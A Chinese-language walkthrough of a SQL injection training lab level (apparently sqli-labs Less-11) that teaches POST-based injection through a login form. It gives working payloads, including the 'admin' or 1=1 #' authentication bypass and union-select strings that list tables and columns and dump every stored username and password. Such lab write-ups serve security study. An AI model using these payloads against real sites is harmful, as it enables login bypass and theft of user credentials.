从这一关开始我们开始进入到post注入的世界了,什么是post呢?就是数据以表单的形式从客户端提交到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器再进行验证。这就是一次post的过程的。
例如我们在less11中我们输入正确的用户名和密码后,显示
那我们思考下如何进行注入呢?
在post过程中,我们输入的用户名和密码最后在后台处理的过程中依旧会形成前面所见到的sql语句,那么我们是否可以像get型的一样构造我们想要的payload呢?
当我们输入username:admin'
Password:ddd(随便输)
显示错误了,可以从错误中分析到程序对参数进行单引号的处理。
这里我们可以在输入框输入万能密码来尝试一下。
这里username输入:admin' or 1=1 #,密码随意。
返回的正确的结果,那么原因是什么呢?我们在background-1中已经其实提到了,逻辑运算的部分中已经讲解了原理。
当我们提交username和password后,后台形成的sql语句为
@$sql="SELECT username, password FROM users WHERE username='admin' or 1=1 #' and password='ddd' LIMIT 0,1";
在#以后的内容就被注释掉,前面的内容因为or 1=1恒成立,所以语句就成立,我们此时以admin的用户登录。那么接下来我们尝试用get注入中用到的其他的语句代替or 1=1 进行注入。
这里我们用union注入进行尝试:
爆数据库
Username:1admin' union select 1,database() #
Password:1(任意密码)
可以看到显示了database为security。
爆security的数据表
Username:xxx' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
Password:1(任意密码)
可以看到所有的数据表emails,referers,uagents,users。
爆users表中的列
Username:xxx' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #
Password:1(任意密码)
可以看到users表中有id,username,password三列。
爆users表中的内容
Username:xxx' union select 1,group_concat(username,0x3a,password) from users #
Password:1(任意密码)
可以看到users表中所有的用户名和密码。
Union注入是我们比较常用的手法,还可以利用其他的方法进行注入。我们在后面的几个关卡中会给出示例的 payload。